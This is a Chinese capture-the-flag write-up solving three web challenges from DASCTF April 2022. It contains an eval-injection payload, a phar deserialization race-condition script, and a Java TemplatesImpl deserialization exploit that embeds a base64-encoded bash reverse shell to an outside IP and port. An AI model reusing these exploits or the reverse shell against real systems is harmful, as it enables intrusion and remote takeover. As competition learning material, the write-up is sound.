【Web】2022DASCTF Apr X FATE 防疫挑战赛题解(全)

warmup-php

soeasy_php

warmup-java

warmup-php

spl_autoload_register函数实现了当程序遇到调用没有定义过的函数时，会去找./class/函数名.php路径下的php文件，并把它包含在程序中。

拿到附件拖进Seay里自动审计一下

显然利用终点为evaluateExpression()

public function evaluateExpression($_expression_,$_data_=array()){if(is_string($_expression_)){extract($_data_);return eval('return '.$_expression_.';');}else{$_data_[]=$this;return call_user_func_array($_expression_, $_data_);}}

全局搜一下触发点

TestView 继承 ListView 继承 Base

以run为入口，不难审计得到调用链路

(看不懂的代码可以扔给gpt)

TestView#run()->TestView#renderContent()->TestView#renderSection($matches->TestView#renderTableBody()->TestView#renderTableRow($row)->TestView#evaluateExpression(TestView->rowHtmlOptionsExpression)

payload:

properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system("/readflag")

soeasy_php

右键查看源码，发现两个表单，第二个hidden了

先随便上传个文件看看

改前端，把hidden属性删掉，把submit注释去掉

随便传下参，回显成功更换头像

再访问/uploads/head.png读到上传文件的内容

尝试更换头像为敏感文件，实现任意读

访问/uploads/head.png，成功读到/etc/passwd

尝试去读/proc/1/environ和/flag均响应403，显然权限不够

于是退一步，用同样的方式去读/var/www/html目录下的upload.php和edit.php

upload.php

<?php
if (!isset($_FILES['file'])) {die("请上传头像");
}$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){echo "上传成功： ".$path;
};

edit.php

<?php
ini_set("error_reporting","0");
class flag{public function copyflag(){exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt，并chown www-data:www-data /tmp/flag.txtecho "SFTQL";}public function __destruct(){$this->copyflag();}}function filewrite($file,$data){unlink($file);file_put_contents($file, $data);
}if(isset($_POST['png'])){$filename = $_POST['png'];if(!preg_match("/:|phar|\/\/|php/im",$filename)){$f = fopen($filename,"r");$contents = fread($f, filesize($filename));if(strpos($contents,"flag{") !== false){filewrite($filename,"Don't give me flag!!!");}}if(isset($_POST['flag'])) {$flag = (string)$_POST['flag'];if ($flag == "Give me flag") {filewrite("/tmp/flag.txt", "Don't give me flag");sleep(2);die("no no no !");} else {filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。}$head = "uploads/head.png";unlink($head);if (symlink($filename, $head)) {echo "成功更换头像";} else {unlink($filename);echo "非正常文件，已被删除";};}
}

“无懈可击的web只有条件竞争能打败”

思路就是

利用文件上传上传 phar文件

写入超长文件名使得 symlink()函数出错返回 false

unlink()触发 phar 反序列化将flag写入到可读的/tmp/flag.txt 处

建立与 /tmp/flag.txt 与 uploads/head.png 的软连接

在建立与 /tmp/flag.txt 的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后，另一个线程已经在copy /flag到 /tmp/flag.txt，这样 /uploads/head.png与/tmp/flag.txt建立了链接，同时flag也没有被覆盖，然后访问 /uploads/head.png读取即可。

生成phar文件

<?phpclass flag{public function copyflag(){exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt，并chown www-data:www-data /tmp/flag.txtecho "SFTQL";}public function __destruct(){$this->copyflag();}}$a = new flag();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("a.txt", "a");
$phar->stopBuffering();

先上传恶意phar文件

跑条件竞争

import requests
import threading
import timeurl = "http://20d746e7-b897-412d-ba98-cd8eb863a196.node5.buuoj.cn:81/"
phar = r"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/a.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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flag = r"/tmp/flag.txt"
head = "uploads/head.png"
s = requests.session()
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}# 触发phar
def uunlink():path = "edit.php"data = {"png": phar,"flag": "1"}r = s.post(url + path, data, proxies=proxies)if 400 <= r.status_code < 500:time.sleep(1.5)# 更改head.png为flag
def change():path = "edit.php"data = {"png": flag,"flag": "1"}r = s.post(url + path, data)if 400 <= r.status_code < 500:time.sleep(1.5)# 读取flag
def read_flag():path = headr = s.get(url + path)if 400 <= r.status_code < 500:time.sleep(1.5)else:print(r.text)while True:thread1 = threading.Thread(target=uunlink)thread1.start()thread2 = threading.Thread(target=change)thread2.start()thread3 = threading.Thread(target=read_flag)thread3.start()

warmup-java

没什么可用的依赖

反序列化入口

自定义handler

项目中并没有引入commons-collections4的jar包，也就没有TransformingComparator和InvokerTransformer类。写链参考CC2，但compare之后的部分要用动态代理改一下

PriorityQueue#readObject() ->
PriorityQueue#heapify() ->
PriorityQueue#siftDown()->
PriorityQueue#siftDownUsingComparator() ->
proxy.compare(TemplatesImpl) ->
MyInvocationHandler#invoke() ->
TemplatesImpl#getOutputProperties ->
TemplatesImpl#newTransformer ->
TemplatesImpl#getTransletInstance ->
TemplatesImpl#defineTransletClasses ->
loader.defineClass(_bytecodes[i])

exp:

package com.example.warmup.exp;import com.example.warmup.MyInvocationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;public class EXP {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static TemplatesImpl generateEvilTemplates() throws Exception {ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";// 创建 static 代码块，并插入代码cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));// 转换为bytesbyte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);// 进入 defineTransletClasses() 方法需要的条件setFieldValue(templates, "_name", "name" + System.nanoTime());setFieldValue(templates, "_class", null);setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//序列化public static void serialize(Object obj) throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}//反序列化public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));Object object=ois.readObject();return object;}public static String bytesTohexString(String s) throws IOException {File file = new File(s);FileInputStream fis = new FileInputStream(file);byte[] bytes = new byte[(int) file.length()];fis.read(bytes);if (bytes == null) {return null;} else {StringBuilder ret = new StringBuilder(2 * bytes.length);for(int i = 0; i < bytes.length; ++i) {int b = 15 & bytes[i] >> 4;ret.append("0123456789abcdef".charAt(b));b = 15 & bytes[i];ret.append("0123456789abcdef".charAt(b));}return ret.toString();}}public static void main(String[] args) throws Exception {TemplatesImpl templates = generateEvilTemplates();MyInvocationHandler myInvocationHandler = new MyInvocationHandler();Class c = myInvocationHandler.getClass();Field type = c.getDeclaredField("type");type.setAccessible(true);type.set(myInvocationHandler,Templates.class);//代理接口为Comparator,便于后续调用compare方法Comparator proxy = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);//初始化属性comparator为proxy类PriorityQueue priorityQueue = new PriorityQueue(2);priorityQueue.add(1);priorityQueue.add(2);Object[] queue = {templates,templates};setFieldValue(priorityQueue,"comparator",proxy);setFieldValue(priorityQueue,"queue",queue);serialize(priorityQueue);System.out.println(bytesTohexString("ser.bin"));}
}

打入payload